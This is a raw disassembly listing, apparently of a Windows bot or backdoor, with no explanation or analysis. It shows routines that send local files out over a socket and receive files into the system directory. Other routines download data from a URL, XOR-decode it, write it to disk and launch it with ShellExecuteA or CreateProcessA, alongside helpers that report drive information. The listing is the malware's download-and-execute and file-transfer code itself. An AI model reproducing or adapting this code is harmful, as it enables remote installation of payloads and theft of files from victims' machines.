		call	dword_4D6650	; select
		test	eax, eax
		jg	short loc_410854
		push	esi
		lea	eax, [ebp+var_DC]
		push	[ebp+var_54]
		push	offset dword_442EB4
		push	eax
		push	[ebp+var_1FC]
		call	sub_40764A
		jmp	loc_410978
; ---------------------------------------------------------------------------


loc_410854:				; CODE XREF: sub_410673+1BFj
		lea	eax, [ebp+var_14]
		mov	[ebp+var_14], 10h
		push	eax
		lea	eax, [ebp+var_48]
		push	eax
		push	edi
		call	dword_4D66FC	; accept
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_1F8], eax
		jnz	short loc_41088D
		push	offset unk_442ECC


loc_41087A:				; CODE XREF: sub_410673+49j
					; sub_410673+87j ...
		lea	eax, [ebp+var_3FC]
		push	eax
		call	sub_417CB0
		pop	ecx
		pop	ecx
		jmp	loc_41097B
; ---------------------------------------------------------------------------


loc_41088D:				; CODE XREF: sub_410673+200j
		push	edi
		call	dword_4D6700	; closesocket
		cmp	[ebp+arg_0], esi
		jz	loc_41093F
		mov	edi, 400h


loc_4108A2:				; CODE XREF: sub_410673+2C3j
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], edi
		cmp	eax, edi
		jge	short loc_4108AF
		mov	[ebp+var_4], eax


loc_4108AF:				; CODE XREF: sub_410673+237j
		push	edi
		lea	eax, [ebp+var_A04]
		push	esi
		push	eax
		call	sub_417700
		mov	eax, [ebp+arg_0]
		add	esp, 0Ch
		neg	eax
		push	2
		push	esi
		push	eax
		push	[ebp+var_8]
		call	dword_4E03F0	; SetFilePointer
		lea	eax, [ebp+var_20]
		push	esi
		push	eax
		lea	eax, [ebp+var_A04]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8]
		call	dword_4E03B8	; ReadFile
		push	esi
		lea	eax, [ebp+var_A04]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_1F8]
		call	dword_4D66B8	; send
		mov	[ebp+var_4], eax
		push	esi
		cdq
		add	[ebp+var_10], eax
		lea	eax, [ebp+var_A04]
		push	edi
		push	eax
		push	[ebp+var_1F8]
		adc	[ebp+var_C], edx
		call	dword_4D6680	; recv
		cmp	eax, ebx
		jl	loc_4109D4
		mov	eax, [ebp+var_4]
		cmp	eax, ebx
		jl	loc_4109D4
		sub	[ebp+arg_0], eax
		jnz	loc_4108A2
		mov	edi, [ebp+var_18]


loc_41093F:				; CODE XREF: sub_410673+224j
		push	[ebp+var_8]
		call	dword_4E032C	; CloseHandle
		push	[ebp+var_C]
		push	[ebp+var_10]
		call	sub_411169
		pop	ecx
		pop	ecx
		push	eax
		push	[ebp+var_44]
		call	dword_4D66F4	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_1E0]
		push	eax
		lea	eax, [ebp+var_3FC]
		push	offset unk_442EF0
		push	eax
		call	sub_417CB0


loc_410978:				; CODE XREF: sub_410673+1DCj
		add	esp, 14h


loc_41097B:				; CODE XREF: sub_410673+215j
		cmp	[ebp+var_50], esi
		jnz	short loc_4109A0
		push	esi
		lea	eax, [ebp+var_3FC]
		push	[ebp+var_54]
		push	eax
		lea	eax, [ebp+var_DC]
		push	eax
		push	[ebp+var_1FC]
		call	sub_40764A
		add	esp, 14h


loc_4109A0:				; CODE XREF: sub_410673+30Bj
		lea	eax, [ebp+var_3FC]
		push	eax
		call	sub_40F927
		cmp	edi, esi
		pop	ecx
		jbe	short loc_4109B8
		push	edi
		call	dword_4D6700	; closesocket


loc_4109B8:				; CODE XREF: sub_410673+33Cj
		push	[ebp+var_1F8]
		call	dword_4D6700	; closesocket
		push	[ebp+var_58]
		call	sub_409979
		pop	ecx
		push	esi
		call	dword_4E03A0	; ExitThread


loc_4109D4:				; CODE XREF: sub_410673+2AFj
					; sub_410673+2BAj
		push	esi
		lea	eax, [ebp+var_DC]
		push	[ebp+var_54]
		push	offset dword_442F1C
		push	eax
		push	[ebp+var_1FC]
		call	sub_40764A
		push	offset dword_442F34
		call	sub_40F927
		add	esp, 18h
		push	[ebp+var_1F8]
		call	dword_4D6700	; closesocket
		push	[ebp+var_58]
		call	sub_409979
		pop	ecx
		push	ebx
		call	dword_4E03A0	; ExitThread
sub_410673	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410A18	proc near		; DATA XREF: sub_401C87+78Ao

var_14C4	= byte ptr -14C4h
var_4C4		= byte ptr -4C4h
var_2C4		= byte ptr -2C4h
var_1C0		= dword	ptr -1C0h
var_1B8		= byte ptr -1B8h
var_1A4		= byte ptr -1A4h
var_A0		= byte ptr -0A0h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 14C4h
		call	sub_4181D0
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	6Dh
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_1C0]
		rep movsd
		xor	esi, esi
		xor	ebx, ebx
		inc	esi
		push	104h
		mov	[eax+1B0h], esi
		lea	eax, [ebp+var_2C4]
		push	eax
		mov	[ebp+var_8], ebx
		call	dword_4E0338	; GetSystemDirectoryA
		lea	eax, [ebp+var_1A4]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_442F4C
		push	eax
		call	sub_417CB0
		add	esp, 10h
		lea	eax, [ebp+var_2C4]
		push	ebx
		push	80h
		push	2
		push	ebx
		push	esi
		push	40000000h
		push	eax
		call	dword_4E03D8	; CreateFileA
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_410AA2
		push	offset unk_442F54
		jmp	short loc_410AE8
; ---------------------------------------------------------------------------


loc_410AA2:				; CODE XREF: sub_410A18+81j
		push	eax
		call	dword_4E032C	; CloseHandle
		lea	eax, [ebp+var_2C4]
		push	offset aAB	; "a+b"
		push	eax
		call	sub_4176E0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_4], eax
		jnz	short loc_410ACA
		push	offset unk_442F88
		jmp	short loc_410AE8
; ---------------------------------------------------------------------------


loc_410ACA:				; CODE XREF: sub_410A18+A9j
		push	[ebp+var_20]
		lea	eax, [ebp+var_1B8]
		push	eax
		call	sub_41042C
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		mov	[ebp+arg_0], eax
		jnz	short loc_410AFB
		push	offset unk_442FB4


loc_410AE8:				; CODE XREF: sub_410A18+88j
					; sub_410A18+B0j
		lea	eax, [ebp+var_4C4]
		push	eax
		call	sub_417CB0
		pop	ecx
		pop	ecx
		jmp	loc_410BF5
; ---------------------------------------------------------------------------


loc_410AFB:				; CODE XREF: sub_410A18+C9j
		mov	esi, 1000h


loc_410B00:				; CODE XREF: sub_410A18+14Ej
		push	esi
		lea	eax, [ebp+var_14C4]
		push	ebx
		push	eax
		call	sub_417700
		add	esp, 0Ch
		lea	eax, [ebp+var_14C4]
		push	ebx
		push	esi
		push	eax
		push	[ebp+arg_0]
		call	dword_4D6680	; recv
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_410BC7
		cmp	edi, 0FFFFFFFFh
		jz	short loc_410B68
		push	[ebp+var_4]
		lea	eax, [ebp+var_14C4]
		push	edi
		push	1
		push	eax
		call	sub_41A170
		add	[ebp+var_8], edi
		add	esp, 10h
		push	[ebp+var_8]
		call	dword_4D6664	; ntohl
		mov	[ebp+var_C], eax
		push	ebx
		lea	eax, [ebp+var_C]
		push	4
		push	eax
		push	[ebp+arg_0]
		call	dword_4D66B8	; send
		jmp	short loc_410B00
; ---------------------------------------------------------------------------


loc_410B68:				; CODE XREF: sub_410A18+118j
		lea	eax, [ebp+var_4C4]
		push	offset dword_442FD4
		push	eax
		call	sub_417CB0
		push	ebx
		lea	eax, [ebp+var_4C4]
		push	[ebp+var_18]
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+var_1C0]
		call	sub_40764A
		lea	eax, [ebp+var_4C4]
		push	eax
		call	sub_40F927
		push	[ebp+var_4]
		call	sub_414F40
		add	esp, 24h
		push	[ebp+arg_0]
		call	dword_4D6700	; closesocket
		push	[ebp+var_1C]
		call	sub_409979
		pop	ecx
		push	1
		call	dword_4E03A0	; ExitThread


loc_410BC7:				; CODE XREF: sub_410A18+10Fj
		mov	eax, [ebp+var_8]
		cdq
		push	edx
		push	eax
		call	sub_411169
		push	eax
		lea	eax, [ebp+var_1B8]
		push	eax
		lea	eax, [ebp+var_1A4]
		push	eax
		lea	eax, [ebp+var_4C4]
		push	offset unk_442FEC
		push	eax
		call	sub_417CB0
		add	esp, 1Ch


loc_410BF5:				; CODE XREF: sub_410A18+DEj
		cmp	[ebp+var_14], ebx
		jnz	short loc_410C1A
		push	ebx
		lea	eax, [ebp+var_4C4]
		push	[ebp+var_18]
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+var_1C0]
		call	sub_40764A
		add	esp, 14h


loc_410C1A:				; CODE XREF: sub_410A18+1E0j
		lea	eax, [ebp+var_4C4]
		push	eax
		call	sub_40F927
		cmp	[ebp+var_4], ebx
		pop	ecx
		jz	short loc_410C35
		push	[ebp+var_4]
		call	sub_414F40
		pop	ecx


loc_410C35:				; CODE XREF: sub_410A18+212j
		cmp	[ebp+arg_0], ebx
		jbe	short loc_410C43
		push	[ebp+arg_0]
		call	dword_4D6700	; closesocket


loc_410C43:				; CODE XREF: sub_410A18+220j
		push	[ebp+var_1C]
		call	sub_409979
		pop	ecx
		push	ebx
		call	dword_4E03A0	; ExitThread
sub_410A18	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410C53	proc near		; DATA XREF: sub_401C87+4EC0o
					; sub_401C87+5321o

var_590		= qword	ptr -590h
var_584		= qword	ptr -584h
var_510		= byte ptr -510h
var_310		= dword	ptr -310h
var_304		= dword	ptr -304h
var_2E4		= dword	ptr -2E4h
var_2E0		= word ptr -2E0h
var_2CC		= dword	ptr -2CCh
var_2C8		= byte ptr -2C8h
var_248		= byte ptr -248h
var_148		= byte ptr -148h
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_24		= byte ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_8		= qword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 510h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0AAh
		mov	esi, eax
		lea	edi, [ebp+var_2CC]
		rep movsd
		xor	edi, edi
		xor	esi, esi
		inc	edi
		push	esi
		mov	[eax+2A4h], edi
		push	esi
		push	esi
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		push	dword_4D6618
		call	dword_4D656C	; InternetOpenUrlA
		cmp	eax, esi
		mov	[ebp+var_18], eax
		jz	loc_4110CC
		push	esi
		push	esi
		push	2
		push	esi
		push	esi
		lea	eax, [ebp+var_148]
		push	40000000h
		push	eax
		call	dword_4E03D8	; CreateFileA
		cmp	eax, edi
		mov	[ebp+var_20], eax
		jnb	short loc_410D1A
		lea	eax, [ebp+var_148]
		push	eax
		lea	eax, [ebp+var_510]
		push	offset unk_443018
		push	eax
		call	sub_417CB0
		add	esp, 0Ch
		cmp	[ebp+var_30], esi
		jnz	short loc_410CFD
		push	esi
		lea	eax, [ebp+var_510]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_2C8]
		push	eax
		push	[ebp+var_2CC]
		call	sub_40764A
		add	esp, 14h


loc_410CFD:				; CODE XREF: sub_410C53+88j
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_40F927
		push	[ebp+var_48]
		call	sub_409979
		pop	ecx
		pop	ecx
		push	esi
		call	dword_4E03A0	; ExitThread


loc_410D1A:				; CODE XREF: sub_410C53+68j
		xor	edi, edi
		call	dword_4E036C	; GetTickCount
		mov	ebx, 7D000h
		mov	dword ptr [ebp+var_8+4], eax
		push	ebx
		call	sub_415090
		pop	ecx
		mov	[ebp+var_1C], eax


loc_410D34:				; CODE XREF: sub_410C53+1A9j
		push	200h
		lea	eax, [ebp+var_510]
		push	esi
		push	eax
		call	sub_417700
		add	esp, 0Ch
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_510]
		push	200h
		push	eax
		push	[ebp+var_18]
		call	dword_4D6574	; InternetReadFile
		cmp	[ebp+var_34], esi
		jz	short loc_410D78
		push	[ebp+arg_0]
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_411132
		pop	ecx
		pop	ecx


loc_410D78:				; CODE XREF: sub_410C53+112j
		lea	eax, [ebp+var_24]
		push	esi
		push	eax
		lea	eax, [ebp+var_510]
		push	[ebp+arg_0]
		push	eax
		push	[ebp+var_20]
		call	dword_4E03B4	; WriteFile
		cmp	edi, ebx
		jnb	short loc_410DB6
		mov	eax, ebx
		sub	eax, edi
		cmp	eax, [ebp+arg_0]
		jbe	short loc_410DA0
		mov	eax, [ebp+arg_0]


loc_410DA0:				; CODE XREF: sub_410C53+148j
		push	eax
		lea	eax, [ebp+var_510]
		push	eax
		mov	eax, [ebp+var_1C]
		add	eax, edi
		push	eax
		call	sub_419330
		add	esp, 0Ch


loc_410DB6:				; CODE XREF: sub_410C53+13Fj
		add	edi, [ebp+arg_0]
		cmp	[ebp+var_3C], esi
		jz	short loc_410DC3
		cmp	edi, [ebp+var_3C]
		ja	short loc_410E02


loc_410DC3:				; CODE XREF: sub_410C53+169j
		mov	eax, edi
		shr	eax, 0Ah
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		mov	eax, [ebp+var_48]
		imul	eax, 234h
		add	eax, offset dword_4493A0
		cmp	[ebp+var_44], 1
		jz	short loc_410DEB
		push	offset unk_443040
		jmp	short loc_410DF0
; ---------------------------------------------------------------------------


loc_410DEB:				; CODE XREF: sub_410C53+18Fj
		push	offset unk_443068


loc_410DF0:				; CODE XREF: sub_410C53+196j
		push	eax
		call	sub_417CB0
		add	esp, 10h
		cmp	[ebp+arg_0], esi
		ja	loc_410D34


loc_410E02:				; CODE XREF: sub_410C53+16Ej
		cmp	[ebp+var_3C], esi
		mov	[ebp+var_14], 1
		jz	short loc_410E57
		cmp	edi, [ebp+var_3C]
		jz	short loc_410E57
		push	[ebp+var_3C]
		lea	eax, [ebp+var_510]
		mov	[ebp+var_14], esi
		push	edi
		push	offset unk_443090
		push	eax
		call	sub_417CB0
		push	esi
		lea	eax, [ebp+var_510]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_2C8]
		push	eax
		push	[ebp+var_2CC]
		call	sub_40764A
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_40F927
		add	esp, 28h


loc_410E57:				; CODE XREF: sub_410C53+1B9j
					; sub_410C53+1BEj
		call	dword_4E036C	; GetTickCount
		sub	eax, dword ptr [ebp+var_8+4]
		xor	edx, edx
		mov	ecx, 3E8h
		push	[ebp+var_20]
		div	ecx
		xor	edx, edx
		mov	ecx, eax
		mov	eax, edi
		inc	ecx
		div	ecx
		mov	ebx, eax
		call	dword_4E032C	; CloseHandle
		push	[ebp+var_1C]
		call	sub_415C20
		cmp	[ebp+var_38], esi
		pop	ecx
		jz	short loc_410EE1
		lea	eax, [ebp+var_148]
		push	eax
		call	sub_4010AA
		cmp	eax, [ebp+var_38]
		pop	ecx
		jz	short loc_410EE1
		push	[ebp+var_38]
		mov	[ebp+var_14], esi
		push	eax
		lea	eax, [ebp+var_510]
		push	offset unk_4430BC
		push	eax
		call	sub_417CB0
		push	esi
		lea	eax, [ebp+var_510]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_2C8]
		push	eax
		push	[ebp+var_2CC]
		call	sub_40764A
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_40F927
		add	esp, 28h


loc_410EE1:				; CODE XREF: sub_410C53+236j
					; sub_410C53+248j
		cmp	[ebp+var_14], esi
		jz	loc_411119
		cmp	[ebp+var_44], 1
		push	ecx
		lea	eax, [ebp+var_148]
		push	ecx
		jz	loc_410FDC
		mov	dword ptr [ebp+var_8], ebx
		mov	dword ptr [ebp+var_8+4], esi
		fild	[ebp+var_8]
		mov	dword ptr [ebp+var_8], edi
		mov	dword ptr [ebp+var_8+4], esi
		fmul	dbl_434480
		fstp	[esp+584h+var_584]
		fild	[ebp+var_8]
		push	eax
		push	ecx
		push	ecx
		lea	eax, [ebp+var_510]
		fmul	dbl_434480
		fstp	[esp+590h+var_590]
		push	offset unk_4430E4
		push	eax
		call	sub_417CB0
		add	esp, 1Ch
		cmp	[ebp+var_30], esi
		jnz	short loc_410F5C
		push	esi
		lea	eax, [ebp+var_510]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_2C8]
		push	eax
		push	[ebp+var_2CC]
		call	sub_40764A
		add	esp, 14h


loc_410F5C:				; CODE XREF: sub_410C53+2E7j
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_40F927
		cmp	[ebp+var_40], 1
		pop	ecx
		jnz	loc_411119
		push	5
		push	esi
		lea	eax, [ebp+var_148]
		push	esi
		push	eax
		push	offset aOpen_2	; "open"
		push	esi
		call	dword_4D65D4	; ShellExecuteA
		cmp	[ebp+var_30], esi
		jnz	loc_411119
		lea	eax, [ebp+var_148]
		push	eax
		lea	eax, [ebp+var_510]
		push	offset dword_443124
		push	eax
		call	sub_417CB0
		push	esi
		lea	eax, [ebp+var_510]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_2C8]
		push	eax
		push	[ebp+var_2CC]
		call	sub_40764A
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_40F927
		add	esp, 24h
		jmp	loc_411119
; ---------------------------------------------------------------------------


loc_410FDC:				; CODE XREF: sub_410C53+2A3j
		mov	dword ptr [ebp+var_8], ebx
		mov	dword ptr [ebp+var_8+4], esi
		fild	[ebp+var_8]
		mov	dword ptr [ebp+var_8], edi
		mov	dword ptr [ebp+var_8+4], esi
		fmul	dbl_434480
		fstp	[esp+584h+var_584]
		fild	[ebp+var_8]
		push	eax
		push	ecx
		push	ecx
		lea	eax, [ebp+var_510]
		fmul	dbl_434480
		fstp	[esp+590h+var_590]
		push	offset unk_443140
		push	eax
		call	sub_417CB0
		add	esp, 1Ch
		cmp	[ebp+var_30], esi
		jnz	short loc_41103C
		push	esi
		lea	eax, [ebp+var_510]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_2C8]
		push	eax
		push	[ebp+var_2CC]
		call	sub_40764A
		add	esp, 14h


loc_41103C:				; CODE XREF: sub_410C53+3C7j
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_40F927
		push	10h
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		call	sub_417700
		push	44h
		lea	eax, [ebp+var_310]
		pop	edi
		push	edi
		push	esi
		push	eax
		call	sub_417700
		add	esp, 1Ch
		lea	eax, [ebp+var_10]
		mov	[ebp+var_310], edi
		xor	edi, edi
		push	eax
		lea	eax, [ebp+var_310]
		push	eax
		push	esi
		push	esi
		push	28h
		push	esi
		push	esi
		lea	eax, [ebp+var_148]
		push	esi
		inc	edi
		push	eax
		push	esi
		mov	[ebp+var_304], offset dword_4DD3D0
		mov	[ebp+var_2E4], edi
		mov	[ebp+var_2E0], si
		call	dword_4E0330	; CreateProcessA
		cmp	eax, edi
		jnz	short loc_4110BE
		call	dword_4D65C0	; WSACleanup
		call	sub_411DDE
		push	esi
		call	dword_4E0328	; ExitProcess


loc_4110BE:				; CODE XREF: sub_410C53+457j
		lea	eax, [ebp+var_148]
		push	eax
		push	offset unk_443184
		jmp	short loc_4110D8
; ---------------------------------------------------------------------------


loc_4110CC:				; CODE XREF: sub_410C53+45j
		lea	eax, [ebp+var_248]
		push	eax
		push	offset unk_4431B8


loc_4110D8:				; CODE XREF: sub_410C53+477j
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_417CB0
		add	esp, 0Ch
		cmp	[ebp+var_30], esi
		jnz	short loc_41110C
		push	esi
		lea	eax, [ebp+var_510]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_2C8]
		push	eax
		push	[ebp+var_2CC]
		call	sub_40764A
		add	esp, 14h


loc_41110C:				; CODE XREF: sub_410C53+497j
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_40F927
		pop	ecx


loc_411119:				; CODE XREF: sub_410C53+291j
					; sub_410C53+31Aj ...
		push	[ebp+var_18]
		call	dword_4D669C	; InternetCloseHandle
		push	[ebp+var_48]
		call	sub_409979
		pop	ecx
		push	esi
		call	dword_4E03A0	; ExitThread
sub_410C53	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_411132	proc near		; CODE XREF: sub_410C53+11Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		xor	ecx, ecx
		cmp	[esp+arg_4], ecx
		jle	short locret_41114E


loc_41113E:				; CODE XREF: sub_411132+1Aj
		mov	dl, byte_437098
		xor	[ecx+eax], dl
		inc	ecx
		cmp	ecx, [esp+arg_4]
		jl	short loc_41113E

locret_41114E:				; CODE XREF: sub_411132+Aj
		retn
sub_411132	endp


; =============== S U B	R O U T	I N E =======================================



sub_41114F	proc near		; CODE XREF: sub_401C87+43D0p
					; sub_401C87+4599p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_41A3D0
		pop	ecx
		pop	ecx
		xor	ecx, ecx
		cmp	eax, 0FFFFFFFFh
		setnz	cl
		mov	eax, ecx
		retn
sub_41114F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411169	proc near		; CODE XREF: sub_40E08D+462p
					; sub_40E08D+5FEp ...

var_38		= byte ptr -38h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 38h
		and	[ebp+var_4], 0
		push	ebx
		push	esi
		push	edi
		push	32h
		mov	edi, offset dword_4DD3D4
		push	0
		push	edi
		call	sub_417700
		mov	ebx, [ebp+arg_0]
		add	esp, 0Ch
		lea	esi, [ebp+var_38]


loc_41118E:				; CODE XREF: sub_411169+5Bj
					; sub_411169+61j
		push	0
		push	0Ah
		push	[ebp+arg_4]
		push	ebx
		call	sub_41A4A0
		push	0
		push	0Ah
		push	[ebp+arg_4]
		add	al, 30h
		mov	[esi], al
		inc	esi
		push	ebx
		call	sub_41A430
		mov	ebx, eax
		or	eax, edx
		mov	[ebp+arg_4], edx
		jz	short loc_4111CC
		inc	[ebp+var_4]
		push	3
		mov	eax, [ebp+var_4]
		pop	ecx
		cdq
		idiv	ecx
		test	edx, edx
		jnz	short loc_41118E
		mov	byte ptr [esi],	2Ch
		inc	esi
		jmp	short loc_41118E
; ---------------------------------------------------------------------------


loc_4111CC:				; CODE XREF: sub_411169+4Bj
		mov	eax, edi
		jmp	short loc_4111D5
; ---------------------------------------------------------------------------


loc_4111D0:				; CODE XREF: sub_411169+72j
		mov	cl, [esi]
		mov	[eax], cl
		inc	eax


loc_4111D5:				; CODE XREF: sub_411169+65j
		dec	esi
		lea	ecx, [ebp+var_38]
		cmp	esi, ecx
		jnb	short loc_4111D0
		and	byte ptr [eax],	0
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_411169	endp


; =============== S U B	R O U T	I N E =======================================



sub_4111E7	proc near		; CODE XREF: sub_41139C+51p
					; sub_41139C+87p

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	dword_4D66C8	; GetDriveTypeA
		sub	eax, 0
		jz	short loc_41122A
		dec	eax
		jz	short loc_411224
		dec	eax
		dec	eax
		jz	short loc_41121E
		dec	eax
		jz	short loc_411218
		dec	eax
		jz	short loc_411212
		dec	eax
		jz	short loc_41120C
		mov	eax, offset a?	; "?"
		retn
; ---------------------------------------------------------------------------


loc_41120C:				; CODE XREF: sub_4111E7+1Dj
		mov	eax, offset off_4431E8
		retn
; ---------------------------------------------------------------------------


loc_411212:				; CODE XREF: sub_4111E7+1Aj
		mov	eax, offset aCdrom ; "Cdrom"
		retn
; ---------------------------------------------------------------------------


loc_411218:				; CODE XREF: sub_4111E7+17j
		mov	eax, offset aNetwork ; "Network"
		retn
; ---------------------------------------------------------------------------


loc_41121E:				; CODE XREF: sub_4111E7+14j
		mov	eax, offset aDisk ; "Disk"
		retn
; ---------------------------------------------------------------------------


loc_411224:				; CODE XREF: sub_4111E7+10j
		mov	eax, offset aInvalid ; "Invalid"
		retn
; ---------------------------------------------------------------------------


loc_41122A:				; CODE XREF: sub_4111E7+Dj
		mov	eax, offset aUnknown_0 ; "Unknown"
		retn
sub_4111E7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411230	proc near		; CODE XREF: sub_411278+12p

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		or	eax, 0FFFFFFFFh
		mov	[ebp+var_18], eax
		mov	[ebp+var_14], eax
		mov	[ebp+var_10], eax
		mov	[ebp+var_C], eax
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], eax
		mov	eax, dword_4D6558
		test	eax, eax
		jz	short loc_411265
		lea	ecx, [ebp+var_10]
		push	ecx
		lea	ecx, [ebp+var_8]
		push	ecx
		lea	ecx, [ebp+var_18]
		push	ecx
		push	[ebp+arg_4]
		call	eax	; GetDiskFreeSpaceExA


loc_411265:				; CODE XREF: sub_411230+22j
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	6
		pop	ecx
		lea	esi, [ebp+var_18]
		mov	edi, eax
		rep movsd
		pop	edi
		pop	esi
		leave
		retn
sub_411230	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411278	proc near		; CODE XREF: sub_41139C+17p
					; sub_4147AC+1F3p

var_198		= byte ptr -198h
var_118		= byte ptr -118h
var_98		= byte ptr -98h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 198h
		push	esi
		push	edi
		push	[ebp+arg_4]
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_411230
		pop	ecx
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_18]
		push	6
		pop	ecx
		rep movsd
		mov	eax, [ebp+var_18]
		and	eax, [ebp+var_14]
		cmp	eax, 0FFFFFFFFh
		jz	loc_411352
		mov	eax, [ebp+var_10]
		and	eax, [ebp+var_C]
		cmp	eax, 0FFFFFFFFh
		jz	loc_411352
		mov	eax, [ebp+var_8]
		and	eax, [ebp+var_4]
		cmp	eax, 0FFFFFFFFh
		jz	loc_411352
		mov	edi, 400h
		push	0
		push	edi
		push	[ebp+var_14]
		push	[ebp+var_18]
		call	sub_41A520
		push	edx
		push	eax
		call	sub_411169
		push	eax
		mov	esi, 80h
		push	offset aSkb	; "%sKB"
		lea	eax, [ebp+var_198]
		push	esi
		push	eax
		call	sub_417E80
		add	esp, 18h
		push	0
		push	edi
		push	[ebp+var_C]
		push	[ebp+var_10]
		call	sub_41A520
		push	edx
		push	eax
		call	sub_411169
		push	eax
		push	offset aSkb_0	; "%sKB"
		lea	eax, [ebp+var_118]
		push	esi
		push	eax
		call	sub_417E80
		add	esp, 18h
		push	0
		push	edi
		push	[ebp+var_4]
		push	[ebp+var_8]
		call	sub_41A520
		push	edx
		push	eax
		call	sub_411169
		push	eax
		push	offset aSkb_1	; "%sKB"
		lea	eax, [ebp+var_98]
		push	esi
		push	eax
		call	sub_417E80
		jmp	short loc_411385
; ---------------------------------------------------------------------------


loc_411352:				; CODE XREF: sub_411278+2Cj
					; sub_411278+3Bj ...
		lea	eax, [ebp+var_198]
		push	offset aFailed	; "failed"
		push	eax
		call	sub_417CB0
		lea	eax, [ebp+var_118]
		push	offset aFailed_0 ; "failed"
		push	eax
		call	sub_417CB0
		lea	eax, [ebp+var_98]
		push	offset aFailed_1 ; "failed"
		push	eax
		call	sub_417CB0


loc_411385:				; CODE XREF: sub_411278+D8j
		mov	eax, [ebp+arg_0]
		add	esp, 18h
		lea	esi, [ebp+var_198]
		mov	edi, eax
		push	60h
		pop	ecx
		rep movsd
		pop	edi
		pop	esi
		leave
		retn
sub_411278	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41139C	proc near		; CODE XREF: sub_41146E+17p
					; sub_41146E+60p

var_500		= byte ptr -500h
var_300		= byte ptr -300h
var_180		= byte ptr -180h
var_100		= byte ptr -100h
var_80		= byte ptr -80h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 500h
		push	ebx
		mov	ebx, [ebp+arg_C]
		push	esi
		push	edi
		lea	eax, [ebp+var_300]
		push	ebx
		push	eax
		call	sub_411278
		push	60h
		mov	esi, eax
		pop	ecx
